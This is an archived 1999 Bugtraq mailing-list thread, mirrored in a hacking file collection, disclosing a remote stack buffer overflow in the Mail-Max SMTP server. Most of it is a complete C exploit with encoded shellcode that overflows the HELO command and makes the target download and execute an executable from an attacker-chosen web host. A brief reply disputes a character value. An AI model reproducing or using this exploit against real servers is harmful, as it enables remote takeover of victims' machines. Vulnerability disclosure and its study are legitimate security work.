home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / files / c_scripts / mailmaxbof.c < prev    next >
Internet Message Format  |  1999-04-11  |  8KB

  1. Date: Sun, 14 Feb 1999 01:00:30 -0500
  2. From: pw <pw@NACS.NET>
  3. To: BUGTRAQ@netspace.org
  4. Subject: Mail-Max Remote Buffer Overflow Exploit
  5.  
  6.         Mail-Max is a SMTP server for windows 95/98/NT.  Unfortunately, it
  7. has a very large security hole.  By entering SMTP commands with a long
  8. length one is able to write past the bounds of a buffer on the stack.  By
  9. overflowing this buffer one can modify the return address stored on the
  10. stack to point to arbitrary code.  This can be used to gain unauthorized
  11. remote access.
  12.  
  13.         When putting code in the buffer to execute there are no major
  14. restrictions on character set.  The only character I found to interfere
  15. besides null was 17h (ret).  In this particular overflow's case there is
  16. more than enough room to place code after the return address on the stack.
  17. Placeing the exploit code here has major benefits:
  18.  
  19.           --  It is not as likely to get corrupted as code is that is
  20.               placed before the return address.
  21.           --  We can change the return address to point to a jmp esp or
  22.               equivalent instruction(s) to transfer control to our code.
  23.               This also allows us to write an exploit that will work
  24.               on every vulnerable version (assuming the offset stays
  25.               constant), even versions we don't have access to.
  26.         
  27.         Mail-Max's basic construction also aids in its exploiting.  When
  28. it is installed it insists that it have v1.5c of its ODBC Drivers
  29. installed.  If these drivers are not already installed it will ask to
  30. install them.  This makes it easy to consistantly exploit, as predicting
  31. where in memory a jmp esp or equivalent piece of code is located is easy
  32. because 98% of the mailmax machines will be running this version of the
  33. libraries.
  34.  
  35.         Its sad that Mail-Max has this vulnerability as its obvious
  36. the author(s) know the dangers of buffer overflows.  When you try to
  37. overflow buffers in popmax (a pop3 server that comes with mailmax), you
  38. get an error specifying that you tried to overflow a buffer.  You also see
  39. similar messages when you try to overflow buffers in its sister product
  40. ftpmax.
  41.  
  42.         Following this post is an exploit that will force all versions
  43. of Mail-Max that have the buffer overflow (every version I have tested),
  44. and are running ODBC drivers v1.5c to download a file from a web
  45. site, save it, and execute it.  Please note that the file downloaded can't
  46. be larger than 260,000 bytes.
  47.  
  48.  
  49. <--------------------------CUT HERE-------------------------->
  50.  
  51. #include <stdio.h>
  52. #include <unistd.h>
  53. #include <fcntl.h>
  54. #include <netdb.h>
  55. #include <netinet/in.h>
  56. #include <sys/socket.h>
  57. #include <arpa/inet.h>
  58.  
  59. /* Mail-Max Remote Exploit by _mcp_ <pw@nacs.net>
  60. This program must be run under x86 Linux
  61.  
  62. Greets go out to: Morpheus, Killspree, Coolg, Dregvant, Vio,
  63. Wrl, #finite, #win32asm and anyone I may have missed, you know
  64. who you are :).
  65.  
  66. You can reach me on efnet.
  67.  
  68. No greets go out to etl.
  69.  
  70. */
  71.  
  72. char code[] =
  73. "\xEB\x45\xEB\x20\x5B\xFC\x33\xC9\xB1\x82\x8B\xF3\x80\x2B\x1"
  74. "\x43\xE2\xFA\x8B\xFB\xE8\xE9\xFF\xFF\xFF\xE8\xE4\xFF\xFF\xFF"
  75. "\xEB\x29\x46\x58\xFF\xE0\xBB\x40\xA5\x1\x10\x56\xFF\x13\x8B"
  76. "\xE8\x46\x33\xC0\x3A\x6\x75\xF9\x46\x40\x3A\x6\x74\xE5\x56"
  77. "\x55\xBB\x54\xA5\x1\x10\xFF\x13\xAB\xEB\xE7\xEB\x4F\x33\xC9"
  78. "\x66\x49\xC1\xC1\x2\x51\x33\xC0\x51\x50\xFF\x57\xE8\x8B\xE8"
  79. "\x33\xC9\x51\x51\x51\x51\x57\xFF\x57\xF4\x33\xC9\x51\x51\x51"
  80. "\x51\x56\x50\xFF\x57\xF8\x59\x57\x51\x55\x50\xFF\x57\xFC\x83"
  81. "\xC6\x7\x33\xC9\x51\x56\xFF\x57\xDC\xFF\x37\x55\x50\x8B\xE8"
  82. "\xFF\x57\xE0\x55\xFF\x57\xE4\x33\xC9\x51\x56\xFF\x57\xEC\xFF"
  83. "\x57\xF0\xE8\x67\xFF\xFF\xFF\x4C\x46\x53\x4F\x46\x4D\x34\x33"
  84. "\x1\x60\x6D\x64\x73\x66\x62\x75\x1\x60\x6D\x78\x73\x6A\x75"
  85. "\x66\x1\x60\x6D\x64\x6D\x70\x74\x66\x1\x48\x6D\x70\x63\x62"
  86. "\x6D\x42\x6D\x6D\x70\x64\x1\x58\x6A\x6F\x46\x79\x66\x64\x1"
  87. "\x46\x79\x6A\x75\x51\x73\x70\x64\x66\x74\x74\x1\x2\x58\x4A"
  88. "\x4F\x4A\x4F\x46\x55\x1\x4A\x6F\x75\x66\x73\x6F\x66\x75\x50"
  89. "\x71\x66\x6F\x42\x1\x4A\x6F\x75\x66\x73\x6F\x66\x75\x50\x71"
  90. "\x66\x6F\x56\x73\x6D\x42\x1\x4A\x6F\x75\x66\x73\x6F\x66\x75"
  91. "\x53\x66\x62\x65\x47\x6A\x6D\x66\x1\x2\x69\x75\x75\x71\x3B"
  92. "\x30\x30\x00";
  93.  
  94.     /*This is the encrypted /~pw/owned.exe we paste at the end */
  95. char dir[] = "\x30\x7f\x71\x78\x30\x70\x78\x6f\x66\x65\x2F\x66\x79\x66\x1\x0";
  96.  
  97.  
  98. unsigned int getip(char *hostname)
  99.   {
  100.   struct hostent *hostinfo;
  101.   unsigned int binip;
  102.  
  103.   hostinfo = gethostbyname(hostname);
  104.  
  105.   if(!hostinfo)
  106.     {
  107.       printf("cant find: %s\n",hostname);
  108.       exit(0);
  109.     }
  110.   bcopy(hostinfo -> h_addr, (char  *)&binip, hostinfo -> h_length);
  111.   return(binip);
  112.   }
  113.  
  114.  
  115. int usages(char *fname)
  116. {                                               
  117.       printf("Remote Mail-Max exploit v1.0 by _mcp_ <pw@nacs.net>.\n");
  118.       printf("Usages: \n");
  119.       printf("%s <target host> <http site> <offset> <return address>\n",
  120. fname);
  121.       printf("All known versions offset = 539, Return address = 79887315\n");
  122.       printf("Will make target download, save, and execute http://<http site>/~pw/owned.exe\n");
  123.  
  124. exit(0);
  125.  
  126. }
  127.  
  128.  
  129. main (int argc, char *argv[])
  130. {
  131.   int sock,filedesc,offset,targethost,sinlen,codelength;
  132.   struct sockaddr_in sin;
  133.   unsigned char buffer[8000];
  134.   char ipbuffer[16];
  135.   unsigned char *ptr,*ptr2;
  136.   unsigned long ret_addr;
  137.   int len,x = 1;
  138.   unsigned long address;
  139.  
  140.   if (argc < 5) usages(argv[0]);
  141.  
  142.   targethost = getip(argv[1]);
  143.  
  144.  
  145.    len = strlen(argv[2]);
  146.     if (len > 60)
  147.      {
  148.        printf("Bad http format!\n");
  149.        usages(argv[0]);
  150.      }
  151.  
  152.    ptr = argv[2];
  153.    while (x <= len)
  154.       {
  155.         x++;
  156.         (*ptr)++;           /*Encrypt the http ip for later parsing */
  157.         ptr++;
  158.       }
  159.  
  160.   offset = atoi(argv[3]);
  161.   ret_addr = atol(argv[4]);
  162.  
  163.   if (offset > 7000)
  164.      {
  165.  
  166.        printf("Offset too large.\n");
  167.        exit(0);
  168.      }
  169.  
  170.   sock = socket(AF_INET,SOCK_STREAM,0);
  171.  
  172.   sin.sin_family = AF_INET;
  173.   sin.sin_addr.s_addr = targethost;
  174.   sin.sin_port = htons(25);
  175.   sinlen = sizeof(sin);
  176.  
  177.  
  178.   printf("Starting to create the egg\n");
  179.   ptr = (char *)&buffer;
  180.   strcpy(ptr,"HELO ");
  181.   ptr+=5;
  182.  
  183.   memset((void *)ptr, 0x90, 7000);
  184.  
  185.   ptr+=offset;
  186.   memcpy ((void *) ptr,(void *)&ret_addr, 4);
  187.   ptr+=60;
  188.   memcpy((void *) ptr,(void *)&code,strlen(code));
  189.  
  190.  
  191.   (char *) ptr2 = strstr(ptr,"\xb1");
  192.   if (ptr2 == NULL)
  193.      {
  194.        printf("Bad shell code\n");
  195.        exit(0);
  196.      }
  197.   ptr2++;
  198.   (*ptr2)+= len + ( sizeof(dir) - 1 );
  199.  
  200.    (char *) ptr2 = strstr(ptr,"\x83\xc6");
  201.      if (ptr2 == NULL)
  202.       {
  203.         printf("Bad shell code\n");
  204.         exit(0);
  205.  
  206.       }
  207.  
  208.   ptr2+= 2;
  209.  
  210.   (*ptr2)+= len + 8;
  211.  
  212.   ptr+=strlen(code);
  213.   memcpy((void *) ptr, (void *) argv[2], len);   /*Parse in the http
  214.   site's info */
  215.   ptr+=len;
  216.   memcpy((void *) ptr,(void*) &dir, sizeof(dir) );
  217.   printf("Made the egg\n");
  218.  
  219.     if ( connect(sock, (struct sockaddr *)&sin, sinlen) == -1)
  220.      {
  221.        perror("error:");
  222.        exit(0);
  223.      }
  224.     printf("Connected.\n");
  225.  
  226.     write(sock, &buffer, strlen((char *)&buffer) );
  227.     write(sock,"\r\n",2);
  228.     sleep(1);
  229.     printf("Sent the egg\n");
  230.    close(sock);
  231.    exit(1);
  232. }
  233.  
  234. ---------------------------------------------------------------------
  235.  
  236. Date: Tue, 16 Feb 1999 01:05:02 -0500
  237. From: der Mouse <mouse@RODENTS.MONTREAL.QC.CA>
  238. To: BUGTRAQ@netspace.org
  239. Subject: Re: Mail-Max Remote Buffer Overflow Exploit
  240.  
  241. > When putting code in the buffer to execute there are no major
  242. > restrictions on character set.  The only character I found to
  243. > interfere besides null was 17h (ret).
  244.  
  245. It's not clear which character you're referring to here.
  246.  
  247. RET is not one of the ASCII mnemonics.  You could plausibly be
  248. referring to CR, carriage return, or NL, newline (the latter also known
  249. as LF, line feed).  CR is octal 15, hex 0d, decimal 13, while NL is
  250. octal 12, hex 0a, decimal 10.
  251.  
  252. 17 hex is ETB.  17 octal is SI.  17 decimal is DC1.
  253.  
  254.                                         der Mouse
  255.  
  256.                                mouse@rodents.montreal.qc.ca
  257.                      7D C8 61 52 5D E7 2D 39  4E F1 31 3E E8 B3 27 4B
  258.  
  259.